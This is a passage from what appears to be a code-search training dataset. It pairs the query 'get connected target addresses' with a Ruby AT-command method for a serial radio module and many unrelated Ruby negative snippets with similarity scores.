"0.4897415", "0.4895422", "0.48947006", "0.48922992", "0.48882428", "0.48831916" ]
0.6227585
1
Leave AT command mode
def leave_at_mode at_cr('atcn', 1000) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def enter_at_mode\n while gets.size > 0; end # discard remain data\n Machine.delay(1000) # wait 1 second\n 10.times do\n begin\n self.write '+++'\n Machine.delay(1000) # wait 1 second\n rsp = wait_cr(TMO_RESPONSE)\n return rsp\n rescue => e\n end\n end\n raise \"Cannot enter AT mode\"\n end", "def end_commands\n abstract!\n end", "def off\n @command.execute(1, [0x31, 0x00, 0x00, 0x00, 0x03, 0x04, 0x00, 0x00, 0x00])\n\n self\n end", "def off\r\n\t@controller.command(@house, @unit, :off, 0)\r\n end", "def off(relay)\n lsb = relay - 1 & 255\n msb = relay >> 8\n command = wrap_in_api([254, 47, lsb, msb])\n result = send_command(command)\n process_control_command_return(result)\n end", "def off!\n digital_write(:off)\n end", "def SWEEP_Mode()\n target_name = get_target_name(\"TARGET\") #{target_name}\n set_tlm(\"#{target_name} EPS_ACK_PACKET EPS_ACK_STATUS = 98\")\n cmd(\"#{target_name} EPS_SWEEP_MODE\") #ADCS_STOP_ACTUATORS EPS_SWEEP_MODE\nend", "def end_command(name)\n abstract!\n end", "def unaway\n @socket << \"AWAY\"\n end", "def echo_off\n system \"stty -echo\"\n end", "def enable_tx; @disabled_tx -= 1 end", "def endpwent\n ::Etc.endpwent\n end", "def turn_off\n @current_speed = 0\n # prints string\n puts \"You can turn the car off now.\"\n # prints string\n puts \"Don't forget the parking brake.\"\n # end code block\n end", "def off\n %x{stty -raw} rescue nil\n end", "def leave\n puts ' ____________________________________________________________ '\n puts '| |'\n puts '| Sorry to see you leave... |'\n puts '| Thank you for using Buda-Bot. See you soon! |'\n puts '|____________________________________________________________|'\nend", "def reset\n\t\tdo_send('ARST 2')\n\tend", "def clear_rx_data\n return self.sendcmd(\"text.clear_rx\")\n end", "def leave; end", "def enable_rx; @disabled_rx -= 1 end", "def restore_mode\n system \"stty #{@state}\"\n end", "def reset_device\n send \"\\x1f\\x02\\x00\\x2e\\x00\\x00\\x2b\\x03\"\n send \"\\x00\\x02\\x00\\x2e\\x00\\x00\\x2b\\x04\"\n send \"\\x00\\x00\\x00\\x2e\\x00\\x00\\x2b\\x05\"\n end", "def forge_end\n command_back\n end", "def leave!\n @interact=false\n end", "def leave!\n @interact=false\n end", "def turn_off\n STDOUT.puts \"\\e]2;\\a\"\n end", "def enter_at_mode\n while gets.size > 0; end # discard remain data\n Machine.delay(1000) # wait 1 second\n loop {\n self.write '+'; Machine.delay(1)\n self.write '+'; Machine.delay(1)\n self.write '+'\n Machine.delay(1000) # wait 1 second\n rsp = self.gets\n return rsp if rsp == \"OK\\r\"\n }\n end", "def end_turn(turn)\n #todo have another turn???\n @@cli.say \"Your turn is over!\"\n @purchased_card = nil\n end", "def unbind\n @lt2_mode ||= nil\n if @lt2_mode == :text and @lt2_textpos > 0\n receive_binary_data @lt2_textbuffer.join\n end\n end", "def switch_off port=-1\n run(:func => \"relayWrite\", :port => port, :value => 0)\n end", "def command_end!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 5 )\n\n type = COMMAND_END\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 33:3: ( ( '\\\\r' )? '\\\\n' | ';' )\n alt_10 = 2\n look_10_0 = @input.peek( 1 )\n\n if ( look_10_0 == 0xa || look_10_0 == 0xd )\n alt_10 = 1\n elsif ( look_10_0 == 0x3b )\n alt_10 = 2\n else\n raise NoViableAlternative( \"\", 10, 0 )\n end\n case alt_10\n when 1\n # at line 33:5: ( '\\\\r' )? '\\\\n'\n # at line 33:5: ( '\\\\r' )?\n alt_9 = 2\n look_9_0 = @input.peek( 1 )\n\n if ( look_9_0 == 0xd )\n alt_9 = 1\n end\n case alt_9\n when 1\n # at line 33:5: '\\\\r'\n match( 0xd )\n\n end\n match( 0xa )\n\n when 2\n # at line 34:5: ';'\n match( 0x3b )\n\n end\n \n @state.type = type\n @state.channel = channel\n # --> action\n @cmd_start = true \n # <-- action\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 5 )\n\n end", "def clear_tx_data\n return self.sendcmd(\"text.clear_tx\")\n end", "def command(action)\n Hangman.save(self) if action == 'save'\n puts '', 'Do you want to leave this game? (y/n)'\n 'exit' if gets.chomp.downcase == 'y'\n end", "def touch_out\n deduct(CHARGE)\n @in_journey = false\n end", "def onCmdReverse(sender, sel, ptr)\n bctrl :flat, :buy, :short, :flip\n @watcher.cmdReverse\n end", "def off\n @is_on = false\n connection.set_pin_mode(pin, Firmata::Board::OUTPUT)\n connection.digital_write(pin, Firmata::Board::LOW)\n end", "def finish_commands\n for i in 0..4\n if @mode_rdo[i].selected?\n $glob.game_mode = i - 1\n break\n end \n end\n if $glob.game_mode == -1\n $player = Players.new(Player.new,Player.new)\n else\n $player = Players.new(Player.new,CPU.new)\n end\n if !$player.act_p.human?\n choiced = $player.act_p.turn\n choiced.label_widget.set_markup($player.act_p.mark_markup)\n $player.switch_player\n end\n self.hide\n end", "def execute\n return unless active\n process_outbound_ack\n deactivate(@flag)\n end", "def send_when_clear cmd_msg\n snooze = 0.05 + rand / 100 # 50-60ms\n unless @carrier_sense == 0 and @last_message < Time.now - snooze\n loop do\n @carrier_sense = 0\n sleep snooze\n break if @carrier_sense == 0\n end\n end\n @io.write cmd_msg\n end", "def stopcmd\n end", "def halt\n open_door\n close_door\n end", "def end_session(command = :normally)\n @end_session.enq command\n @session_ended.deq\n end", "def undo\n fan.off\n end", "def end_command(_name)\n @parent_command.pop\n decrement_nest\n @io.puts \"* * * * * *\\n\\n\" unless @nest.size > 2\n end", "def leave(name)\n\t\tputs \"Thanks for playing #{name}, Come back soon!\"\n\t\tsleep(3)\n\t\tprint CLEAR\n\t\texit\n\tend", "def attk_char(character)\n damage = self.attack_power\n if damage > 0\n character.update(hp: character.hp - damage)\n puts @@pastel.magenta(\"-----------------------------------------------------------------\".center(145))\n puts @@pastel.magenta(\"#{self.name} dealt #{damage} damage to #{character.name}!\".center(145))\n puts @@pastel.magenta(\"#{character.name} has #{character.hp} HP left!\".center(145))\n puts @@pastel.magenta(\"-----------------------------------------------------------------\".center(145))\n sleep(1)\n end\n end", "def leave\n Leases.current = nil\n Apartment::Tenant.switch!\n end", "def command_unit2\n @command_window.deactivate\n activate_c2\n end", "def unsend!\n @_sended = false\n end", "def endKbd\n\t$stdin.echo=true\n\t$stdin.cooked!\nend", "def command_unit1\n @command_window.deactivate\n activate_c1\n end", "def halted(command)\n end", "def reset_action(battler)\n if $atoa_script['Atoa ATB']\n battler.atb = 0\n elsif $atoa_script['Atoa CTB']\n battler.ctb_preset\n end\n end", "def decr!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 40 )\n\n type = DECR\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 161:8: '--'\n match( \"--\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 40 )\n\n end", "def send_away(reason=nil)\n return back if reason.nil?\n send_raw(AWAY, reason)\n end", "def turn_off\n if on?\n set_attribute('PIO', 0)\n end\n end", "def send_command(command)\n SerialPort.open(self.device_path, 9600, 8, 1) do |port|\n # flush anything existing on the port\n port.flush\n flush_read_buffer(port)\n\n byte_string = command.to_bytes.pack('C*')\n\n begin\n while byte_string && byte_string.length != 0\n count = port.write_nonblock(byte_string)\n byte_string = byte_string[count,-1]\n\n port.flush\n end\n rescue IO::WaitWritable\n if IO.select([], [port], [], 5)\n retry\n else\n raise IOError, \"Timeout writing command to #{self.device_path}\"\n end\n end\n\n # wait for expected confirmation signals\n got_eot = false\n got_soh = false\n loop do\n begin\n c = port.read_nonblock(1)\n\n case c\n when \"\\x04\"\n if ! got_eot\n got_eot = true\n else\n raise IOError, \"Got EOT reply twice from #{self.device_path}\"\n end\n when \"\\x01\"\n if got_eot\n if ! got_soh\n got_soh = true\n\n break\n else\n raise IOError, \"Got SOH twice from #{self.device_path}\"\n end\n else\n raise IOError, \"Got SOH before EOT from #{self.device_path}\"\n end\n end\n rescue IO::WaitReadable\n if IO.select([port], [], [], 3)\n retry\n else\n raise IOError, \"Timeout waiting for command reply from #{self.device_path}. EOT:#{got_eot} SOH:#{got_soh}\"\n end\n end\n end\n end\n\n self\n end", "def test_leave\n session=enter_the_room(\"zark\")[\"session\"]\n leave(session)\n end", "def leave_table_cmd\n @log.debug(\"Controller: send leave_table_cmd to the server\")\n msg_details = \"#{@ix_current_game}\"\n cmd_to_send = build_cmd(:leave_table, msg_details)\n send_data_to_server(cmd_to_send)\n @model_net_data.event_cupe_raised(:ev_client_leave_table)\n end", "def off\n :off\n end", "def wipe_state\r\n @modes = nil\r\n @online = false\r\n end", "def disable_tx; @disabled_tx += 1 end", "def giveOp(usr)\n @IRCsocket.write(\"MODE #{@ch} +op #{usr}\\n\")\n end", "def search_down\n return self.sendcmd(\"modem.search_down\")\n end", "def end_command(name)\n @nest.gsub!(/=$/,'')\n end", "def brake\r\n command 'break'\r\n end", "def finish_downlink_transaction\n\n conditionCode = create_file\n\n writeLog(\"Cleaning buffer from transaction #{@ID}\")\n CFDP::CFDPEngine.instance.clean_buffer(@ID)\n\n # transaction is complete, send FINISHED Pdu\n finishedPdu = CFDP.generatePDU(\"FINISHED\", {sourceID:DESTINATIONID, destinationID:MYID, conditionCode:conditionCode, endSystemStatus:1,\n deliveryCode:(conditionCode == 0 ? 0 : 1), fileStatus:(conditionCode == 4 ? 1 : 2), direction:1, transmissionMode:0, sequenceNumber:@ID[DESTINATIONID]})\n writeLog(\"Generated FINISHED PDU: #{finishedPdu.pack.to_s}\")\n update(finishedPdu)\n\n CFDP::CFDPEngine.instance.insertIntoBuffer(finishedPdu)\n\n CFDP::CFDP_Indication(\"Transaction #{@ID} finished with <#{CFDP.conditionCodeToStr(conditionCode)}> condition.\")\n writeLog(\"Transaction #{@ID} finished with <#{CFDP.conditionCodeToStr(conditionCode)}> condition.\")\n end", "def off?; !self.on?; end", "def write_command(cmd, data='', synth=SYNTH_A)\n # Make sure cmd is valid\n raise \"unknown command #{cmd}\" unless LENGTH.has_key?(cmd)\n # Verify length of data to write\n if data.length != LENGTH[cmd]\n raise \"invalid data length for command #{cmd} \" +\n \"(expected #{LENGTH[cmd]}, got #{data.length})\"\n end\n # Make sure synth has no stray bits set\n synth &= (SYNTH_A|SYNTH_B)\n\n serialport do |sp|\n cmd = WR|synth|cmd unless cmd == CMD_WRITE_FLASH\n csum = Valon.generate_checksum(cmd.chr, data)\n cmd_data_csum = [cmd, data, csum].pack('CA*A')\n sp.write(cmd_data_csum)\n ack = sp.read(1).ord\n raise \"nak error (#{ack == NAK ? 'NAK' : ack.inspect})\" if ack != ACK\n end\n nil\n end", "def off\n return true if off?\n return cmd('PF', /PWR[01]/).shift == 'PWR1'\n end", "def command_shutdown\n Sound.play_decision\n RPG::BGM.fade(800)\n RPG::BGS.fade(800)\n RPG::ME.fade(800)\n $scene = nil\n end", "def execute\n fan.off\n end", "def rl_deprep_terminal()\r\n return if ENV[\"TERM\"].nil?\r\n return if (!@terminal_prepped)\r\n\r\n # Try to keep this function from being interrupted.\r\n block_sigint()\r\n\r\n if (@_rl_enable_keypad)\r\n _rl_control_keypad(false)\r\n end\r\n\r\n @rl_outstream.flush\r\n\r\n # restore terminal setting\r\n retry_if_interrupted do\r\n `stty #{@otio}`\r\n end\r\n\r\n @terminal_prepped = false\r\n rl_unsetstate(RL_STATE_TERMPREPPED)\r\n\r\n release_sigint()\r\n end", "def disable_rx; @disabled_rx += 1 end", "def logout\n send_command( KonoEppLogout.new, 1500 )\n end", "def poweroff(hard = false)\n action(hard ? 'poweroff-hard' : 'poweroff')\n end", "def debit(futurepay_id, amount)\n run_command({:futurePayId => futurepay_id, :amount => amount, \"op-paymentLFP\" => \"\" })\n end", "def hero_end_turn_operations(actor)\n actor.corruption_card_discarded_this_turn = false\n actor.used_powers['argalad'] = false\n actor.save!\n end", "def royal_flush\n return :ace if self.straight && self.flush && high_card == :ace\n\n nil\n end", "def exit_simulation!(line='')\n @packet.send_packet\n if line != ''\n print!(:error, line) #add errormessages\n else\n print!(:log, 'Ausführung beendet!') #add endmessage\n end\n @packet.add_operation('exit')\n connection_store[:is_simulation_done] = true\nend", "def away(m=nil)\n @socket << \"AWAY :#{m}\"\n end", "def cash_out\n player.wallet = @wallet\n end", "def wakeup\n @serial.rts = 0\n sleep 0.1\n @serial.rts = 1\n sleep 2\n setup_start\n setup_control\n end", "def exit_command_select\n hide_turn_dir_window\n hide_tb_command_window_tb\n hide_unit_hud\n @tb_event.flash_soft_tb = false unless !@tb_event\n TactBattleManager.selecting(false)\n end", "def abort_transaction\n response = script_mode do\n query(\"cfgtransabort\")\n end\n #empty response is ok\n case\n when response.data.split(\"\\n\").size==1\n return true\n when response.data.match(/#{Replies::NO_TRANSACTION}/)\n return false\n when response.data.match(/#{Replies::OUTSTANDING_TRANSACTION}/)\n raise Agent::Error.new(Agent::Error::TRANS_NOTOWNER)\n else\n error = response.data.split(\"\\n\").delete_if {|item| item.match(/^#{@prompt}/)}.join(\"\\n\")\n raise Agent::Error.new(error)\n end\n end", "def kill\n explode(6) if @out == false\n @out = true\n if @stationary == false\n @emit_rate = 1\n else\n @emit_rate = 3\n end\n @emit, @wind_time = @emit_rate, 0\n end", "def acknowledge()\n\t\tend", "def end_game_message(message)\nsystem \"clear\"\nputs \"GAME OVER: #{ message }\"\nlaat_bord_zien\nend", "def eth_sw_rst; eth_ctrl_bit(4); end", "def tn_unity_close(telnet)\r\n navigation = $desired_location.split('.')\r\n telnet.write($ctrl_c) {|c| print c} # Press Ctrl+C to stop DLOG file watcher\r\n telnet.waitfor(/Press <Enter> to return to menu/) {|c| print c}\r\n\r\n # Press 'enter' several times come back to the first menu\r\n navigation.length.times do\r\n telnet.write($enter) {|c| print c}\r\n telnet.waitfor(/Enter selection\\:/) {|c| print c}\r\n end\r\n # Press the menu of '7' to exit the connect.\r\n telnet.write($unity_exit_7) {|c| print c}\r\n telnet.write($enter) {|c| print c}\r\nend", "def action_B\n return if no_leave_B\n # Ensure we don't leave with a call_skill_process\n @call_skill_process = nil\n $game_system.se_play($data_system.cancel_se)\n # Cancel choice attempt\n return @choice_object.cancel if @choice_object\n # Returning to normal mode\n if @intern_mode != :normal\n @base_ui.hide_win_text\n hide_item_name\n @team_buttons[@move].selected = false if @move != -1\n @move = -1\n return @intern_mode = :normal\n end\n # Emptying $game_temp.temp_team if in select mode\n if @mode == :select\n $game_temp.temp_team = []\n end\n @running = false\n end", "def deactivate; end", "def leave object\n execute object, @leave unless @leave.nil?\n end", "def leaveok(bool = false)\n Ncurses.leaveok(pointer, bool ? 1 : 0)\n end", "def ACK04=(arg)", "def off_button_was_pushed(slot)\n @off_commands[slot].execute\n @undo_command = @off_commands[slot]\n end", "def off_button_was_pushed(slot)\n @off_commands[slot].execute\n @undo_command = @off_commands[slot]\n end", "def off!\n set(:on => false)\n end", "def command data, command_groups=[:global], from_input=false\n data.strip!\n return unless data != \"\"\n command_name,args = data.split(' ', 2)\n # if args is nil, lets make it a string.\n args ||= \"\"\n\n # either - is there a command?\n # or, there is an exit in this room/a standard exit by that name.\n # elsewise, \"you can't do that.\"\n begin\n if com = Commands::find_command(command_name, command_groups) \n com.enact(self, args)\n elsif room.has_exit?(command_name)|| (Room::DIRS.keys + Room::DIRS.values).include?(command_name.to_sym)\n Commands::find_command(\"move\", [:global]).enact(self,data)\n #room.leave_to(self,command_name).arrive_from(self,command_name)\n else\n hear_line \"You can't do that!\"\n end\n rescue NoBalanceError => e\n hear_line \"You can't do that off balance.\"\n rescue Exception => e\n hear_line \"You've triggered an uncaught exception. Please report this to the mud....\"\n puts \"There has been an uncaught exception, triggered by #{display_name} trying to do a command with #{data}\"\n puts \"It raised #{e} at\"\n puts e.backtrace\n end\n end", "def deactivate\n @client.delete(\"card_accounts/#{id}\")\n @attributes['active'] = false\n true\n end", "def reverse_transfer\n if self.status == \"complete\"\n self.receiver.deposit(-self.amount)\n self.sender.deposit(self.amount)\n self.status = \"reversed\"\n end\n end" ]
[ "0.65236264", "0.5687906", "0.5608127", "0.5498567", "0.5478476", "0.54426515", "0.5437525", "0.54296577", "0.5415443", "0.5314649", "0.52843994", "0.52319396", "0.5220315", "0.5208994", "0.51994467", "0.5198483", "0.51576954", "0.5143111", "0.51408416", "0.51394117", "0.5133325", "0.51135975", "0.51126444", "0.51126444", "0.5091089", "0.5040348", "0.50374544", "0.50257343", "0.5010093", "0.50038123", "0.50030434", "0.4994371", "0.49906608", "0.49904418", "0.4970281", "0.4960534", "0.49595", "0.4944558", "0.4932498", "0.49290508", "0.49286968", "0.4914875", "0.49066842", "0.49056038", "0.48999187", "0.48943993", "0.4882437", "0.4871373", "0.4866318", "0.48602325", "0.48578697", "0.48541278", "0.4853012", "0.4850935", "0.4838919", "0.48330778", "0.48247302", "0.48195788", "0.4813013", "0.48111647", "0.4798115", "0.47978267", "0.47826135", "0.47820166", "0.47796455", "0.47776976", "0.4772662", "0.4759977", "0.475158", "0.47501338", "0.47389263", "0.47375882", "0.47240385", "0.47200784", "0.47189718", "0.4712031", "0.4711473", "0.47039258", "0.47014472", "0.46976292", "0.46878144", "0.46855918", "0.46784678", "0.46753335", "0.46673208", "0.46659172", "0.46638423", "0.46621716", "0.46620706", "0.46613112", "0.46547", "0.4653729", "0.4648151", "0.46455628", "0.46335137", "0.46335137", "0.46267137", "0.4624736", "0.4621276", "0.46189106" ]
0.70869315
0
get connected target addresses
def connections targets = [] enter_at_mode at('atnd') while true a = wait_cr # XXXX break if a == '' adrh = wait_cr # Address (H) adrl = wait_cr # Address (L) targets << [adrh, adrl] 6.times {wait_cr} # ' ', XXXX, XX, XX, XX, XXXX, XXXX end leave_at_mode targets end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_connections\n @connected_to.keys\n end", "def to_addrs\n to ? [to].flatten : []\n end", "def get_connected_uri\n @connections.map {|x| x.target_uri}\n end", "def destinations\n [to_addrs, cc_addrs, bcc_addrs].compact.flatten\n end", "def included_addresses\n @included_scan_targets[:addresses]\n end", "def neighbors\n NodeWrapper.new @links.map(&:to)\n end", "def sent_to_addresses\n return @sent_to_addresses\n end", "def targets()\n if @target then\n return [self]\n else\n return []\n end\n end", "def agent_transport_addresses\n [ @address ]\n end", "def active_remote_destinations; end", "def targets\n return @targets\n end", "def targets\n return @targets\n end", "def get_neighbours (target_interactions, target)\n\t\tneighbours = target_interactions.collect { |elem|\n\t\t\telem[:intr1] == target ? elem[:intr2]: elem[:intr1]\n\t\t}\n\n\t\tneighbours = neighbours.uniq\n\t\tneighbours\n\tend", "def addresses; end", "def active_remote_destinations\n @remote_forwarded_ports.each_with_object({}) do |(remote, local), result|\n result[[local.port, local.host]] = remote\n end\n end", "def clients\n NodeWrapper.new @links.select{|e| e.type == :client}.map(&:to)\n end", "def peeraddrs\n @peeraddrs ||= {}\n end", "def find_neighbors(node)\n nbrs = []\n self.edges.each do |e|\n nbrs.push(e.target) if e.source == node\n nbrs.push(e.source) if e.target == node\n end\n nbrs\n end", "def active_remotes\n @remote_forwarded_ports.keys\n end", "def targets\n\t\tWmapTarget.find(:all)\n\tend", "def from_addrs\n from ? [from].flatten : []\n end", "def request_distinct_targets\n\t\tWmapRequest.find(:all, :select => 'DISTINCT host,address,port,ssl')\n\tend", "def targets\n\t\tKassociation.where( :target_id => self.id )\n\tend", "def from_addresses\n return @from_addresses\n end", "def targets\n\t\tTarget.find(:all)\n\tend", "def cc_addrs\n cc ? [cc].flatten : []\n end", "def addresses\n @addresses\n end", "def adjacents(target)\n\n r = to_index(target)[0]\n c = to_index(target)[1]\n\n center = [r,c]\n\n west = [r, c-1]\n east = [r, c+1]\n north = [r-1, c]\n south = [r+1, c]\n\n neighbors =[]\n if r > 0\n neighbors << to_space(north)\n end\n\n if r < 3\n neighbors << to_space(south)\n end\n\n if c > 0\n neighbors << to_space(west)\n end\n\n if c < 3\n neighbors << to_space(east)\n end\n \n return neighbors.compact\n end", "def targets\n @targets ||= []\n end", "def ceph_chef_mon_addresses\n mon_ips = ceph_chef_mon_nodes_ip(ceph_chef_mon_nodes)\n mon_ips.reject(&:nil?).uniq\nend", "def find\n addrs = Socket.ip_address_list.select do |addr|\n addr.ipv4? and not(addr.ipv4_loopback?) and not(addr.ipv4_multicast?)\n end\n if not(addrs.empty?)\n privates = addrs.select{|addr| addr.ipv4_private?}\n not_privates = addrs - privates\n privates = privates.sort{|a,b| a.ip_address <=> b.ip_address}\n not_privates = not_privates.sort{|a, b| a.ip_address <=> b.ip_address}\n (privates + not_privates).map {|addr| addr.ip_address}\n else\n Socket.ip_address_list.select{|addr| addr.ipv4_loopback?}.map{|addr| addr.ip_address}\n end\n end", "def addresses\n collect { |a| a.address }\n end", "def getConnections\n\t\tr = []\n\t\teditor.getModelCanvas.getItems(UONConnection).each do |c|\n\t\t\tif (c.srcItem == self) || (c.destItem == self) then r.push c end\n\t\tend\n\t\tr\n\tend", "def get_targets\n targets = @active_battler.get_targets\n @cursor.set_targets(targets)\n return targets\n end", "def address_nodes # :nodoc:\n @address_nodes\n end", "def get_connected_locations( name_code )\n @data[name_code][:destinations].map{ |e| e[:dest] }\n end", "def getNeighboringIPs()\n @neighborIPs = Array.new\n \n @interfaces.each { |interface|\n # get IPs that are connected to this outgoing interface, and add them\n # to our list of neighbors\n connectedIPs = @allWeights.ipMap[interface].keys\n @neighborIPs.concat(connectedIPs)\n }\n end", "def contacts\n self.connections.map do |connection|\n connection.contact\n end\n end", "def excluded_addresses\n @excluded_scan_targets[:addresses]\n end", "def connectivity_monitoring_destinations\r\n ConnectivityMonitoringDestinationsController.instance\r\n end", "def direct_neighbors\n VirtualMachine.where(host: host).select do |vm|\n vm.account == account && vm.id != id\n end\n end", "def nodes\n [@from, @to]\n end", "def lookup_addresses(data)\n return @servers\n end", "def resolve_from_to\n @from_hosts << { all: true } if @from_hosts.empty?\n @to_hosts << { all: true } if @to_hosts.empty?\n [\n @nodes_handler.select_nodes(@from_hosts),\n @nodes_handler.select_nodes(@to_hosts)\n ]\n end", "def listen_addresses\n node['network']['interfaces'].map do |iface, data| \n data[\"addresses\"].select { |addr, data| data[\"family\"] == \"inet\" }.keys[0]\n end\nend", "def get_connections(queue)\n @connections.select { |con| con.src.label == queue.label }\n end", "def linked\n ret = []\n self.links.inject(ret){|arr , link| arr << link.target}\n self.incomming_links.inject(ret){|arr , link| arr << link.source}\n ret\n end", "def neighbours(e)\n\t\tneighbours = []\n\t\t@e.each do |edge|\n\t\t\tneighbours << edge.dest if edge.src == e\n\t\tend\n\t\tneighbours\n\tend", "def addresses\n private_ip_addresses + public_ip_addresses\n end", "def reachable_nodes\n recursive_set(@start) { |n| n.out }\n end", "def connections_here(whom = nil)\n list = []\n if whom\n whom = whom.map(&:downcase)\n end\n @connection.server.connections.each { |key, connection|\n if whom\n if whom.include?(connection.agent.name.downcase) and connection.agent.item == item\n list.push(connection)\n end\n else\n if connection.agent.item == item\n list.push(connection)\n end\n end\n }\n return list\n end", "def addresses\n Array(@addresses)\n end", "def get_neighbors\n\t\t\t\tdbg.call unless @neighbors\n\t\t\t\treturn @neighbors.values\n\t\t\tend", "def request_distinct_targets\n\t\tRequest.find(:all, :select => 'DISTINCT host,port,ssl')\n\tend", "def hosts\n @hosts ||= Array(Hansolo.target).map { |target| URI.parse(target) }\n end", "def get_targets\n {\n method: \"Target.getTargets\"\n }\n end", "def targets_for_address\n email_settings[\"targets\"].split(\",\")\n end", "def all\n @peersByAddr.values\n end", "def outlinks\n return @outputs\n end", "def connections\n return @connectors.keys\n end", "def connectedRoutes(city)\r\n results = @edge.select{ |code, cname| code.include?(city)}\r\n end", "def find_recipients_for(message)\n message.to_addrs\n end", "def nodes\n @from | @to\n end", "def targets\r\n @dispatch_targets\r\n end", "def network\n arr =\n self.credits.find(:all, :select => \"DISTINCT emails.address\", :joins => \"INNER JOIN users ON users.id = transactions.debtor_id INNER JOIN emails ON emails.user_id = users.id\", :conditions => [\"users.id != ?\", id]).map(&:address) +\n self.debts.find(:all, :select => \"DISTINCT emails.address\", :joins => \"INNER JOIN users ON users.id = transactions.creditor_id INNER JOIN emails ON emails.user_id = users.id\", :conditions => [\"users.id != ?\", id]).map(&:address)\n arr.uniq\n end", "def bcc_addrs\n bcc ? [bcc].flatten : []\n end", "def network_names\n self.addresses.keys unless self.addresses.nil?\n end", "def links\n linked_to.map{|to|[self,to]}\n end", "def linked_to\n @linked_to ||= []\n end", "def target_objects\n return @target_objects\n end", "def target_objects\n return @target_objects\n end", "def all_paths_source_target(graph)\n current_path = []\n results = []\n\n dfs(graph, results, 0, current_path)\n return results\nend", "def targets; self[:targets]; end", "def grab_connections\n connections = []\n connections << @host\n end", "def target_ids\n @target_ids ||= node.xpath('span/target')\n .map { |target| target.attr('id') }\n end", "def each_target(&block)\n if network?\n cmd = \"nmap -oG - #{to_s} -p 443\"\n IO.popen(cmd, 'r').each_line { |line|\n if matches = line.match(/^Host:\\s+([^\\s]+).*open.*$/)\n yield block, matches.captures[0]\n end\n }\n elsif ip_addr?\n yield block, to_s\n else\n yield block, to_ipaddr\n end\n\n end", "def connections\n @mutex.synchronize do\n @connections.values.inject(0, &:+)\n end\n end", "def neighbors(node)\r\n\t\tneighbors = []\r\n\t\t@edges.each do |edge|\r\n\t\t\tneighbors.push edge.target if edge.source == node\r\n\t\tend\r\n\t\treturn neighbors.uniq\r\n\tend", "def log_hosts_to_affect\n\t\trval = Array( self.log_hosts || Loggability.log_hosts.values ).uniq\n\t\treturn rval.map {|obj| Loggability.log_host_for(obj) }\n\tend", "def internal_connections\n stroke(200, 0, 0, 80)\n nodes[0..nodes.size - 1].each_with_index do |pi, i|\n nodes[i + 1..nodes.size - 1].each do |pj|\n line(pi.x, pi.y, pj.x, pj.y)\n end\n end\n end", "def addresses\n @addresses ||= init_addresses\n end", "def destinations\n @destinations ||= []\n end", "def target_list(_, site: nil)\n site ||= @site\n return unless Inspector.site_selected?(site, @console)\n site.reload\n @console.info self, TerminalSupport.table(site.hosts, :ip)\n end", "def generate_all_connections!\n organisation_level_connections = []\n\n self.has_members.each do |member_uri|\n member = Person.find(member_uri)\n organisation_level_connections << member.get_connections!\n end\n\n organisation_level_connections.flatten\n end", "def connected_beacon_boards\n connected_beacon_board_udev_devices.map { |device| device.devnode }\n end", "def mg_connectivity_monitoring_destinations\r\n MGConnectivityMonitoringDestinationsController.instance\r\n end", "def extract_target_nodes_from_path(visited_nodes)\n connected_to(visited_nodes.last).select do |node|\n i = visited_nodes.index(node) \n i && (unvisited_neighbours_of(visited_nodes[i + 1], visited_nodes).length > 0)\n end\n end", "def connected_ports; end", "def all_paths_source_target(graph, results=[], current_node=0, current_path=[])\n if current_node == graph.length - 1\n return results << (current_path + [current_node])\n end\n\n graph[current_node].each do |node|\n all_paths_source_target(graph, results, node, (current_path + [current_node]))\n end\n\n return results\nend", "def find_target\n Array(target_class.find(source_ids.to_a))\n end", "def adjacent\n (inputs.map(&:from) + outputs.map(&:to)).uniq\n end", "def agent_identities(targets)\n # Select the hosts that have the agent role but not the master role (Beaker's\n # `agents` selector selects all of the hosts that have the agent role, but masters\n # typically have _both_ the agent and master roles - this rejection guards against\n # accidentally including the master in this list when working with `agents`).\n agents_only = targets.reject { |host| host['roles'].include?('master') }.to_a\n agents_only.map { |agent| \"pcp://#{agent}/agent\" }\nend", "def get_connected_peers\n filter_by_state = { :state => 2 }\n connected = self.peers filter_by_state\n end", "def get_to_addresses\n\n return [] if self.to_addresses.nil?\n return self.to_addresses.split(Email::ADDRESS_SEPARATOR)\n end", "def get_targets(name=:target)\n ActivityTarget.where(:name => name, :activity_id => id).map{ |at| at.target }\n end", "def addresses\n IbmCloudRest.get \"#{@uri}/addresses\"\n end", "def get_targets_nearby( range=1, type =\"ALL\" )\n coords = []\n if YGG::FULL_FIELD_SCAN\n coords.concat( YGG.create_range_data( range ) )\n else\n case direction\n when 2\n for i in 0..range\n coords.push( [0, i] )\n end\n when 4\n for i in 0..range\n coords.push( [-i, 0] )\n end\n when 6\n for i in 0..range\n coords.push( [i, 0] )\n end\n when 8\n for i in 0..range\n coords.push( [0, -i] )\n end\n end\n end\n for coo in coords\n o = ygg_get_targets( coo[0]+self.x, coo[1]+self.y, type, true )\n return o unless o.empty?()\n end\n return []\n end", "def connected_servers\n related_servers.reject(&:missing_network_topology?)\n end", "def neighbors\n return roomAdj.to_a\n end", "def conn_ip(n_s, n_d)\n nodes_to_addrs2 = File.readlines(ARGV[0])\n #puts \"\\nn_s = \" + n_s + \" n_d = \" + n_d\n \n n_s_ip_lines = nodes_to_addrs2.select{ |line| line =~ /#{n_s}\\s/ }\n #puts \"\\nPRINT N_S LINES\"\n #puts n_s_ip_lines\n\n\n n_s_ip = []\n n_s_ip_lines.each {|line|\n n_s_ip.push line.split[1..2].join('\\t')\n }\n\n #puts \"\\nPRINTING N_S IPs\"\n #puts n_s_ip\n \n\n n_d_ip_lines = nodes_to_addrs2.select { |line| line =~ /#{n_d}\\s/ }\n #puts \"\\nPRINTING N_D LINES\"\n #puts n_d_ip_lines\n\n\n n_d_ip = []\n n_d_ip_lines.each {|line|\n n_d_ip.push line.split[1..2].join('\\t')\n }\n #puts \"\\nPRINTING N_D IPs\"\n #puts n_d_ip\n\n n_s_ip.each{ |s_ip| \n n_d_ip.each{ |d_ip|\n if ((destination_of_addr 